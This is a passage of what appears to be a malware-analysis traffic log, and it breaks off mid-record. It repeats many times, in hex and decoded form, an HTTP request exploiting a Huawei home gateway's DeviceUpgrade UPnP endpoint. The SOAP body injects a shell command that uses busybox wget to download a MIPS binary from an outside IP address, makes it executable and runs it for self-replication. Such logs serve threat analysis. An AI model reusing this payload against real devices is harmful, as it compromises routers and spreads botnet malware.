69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 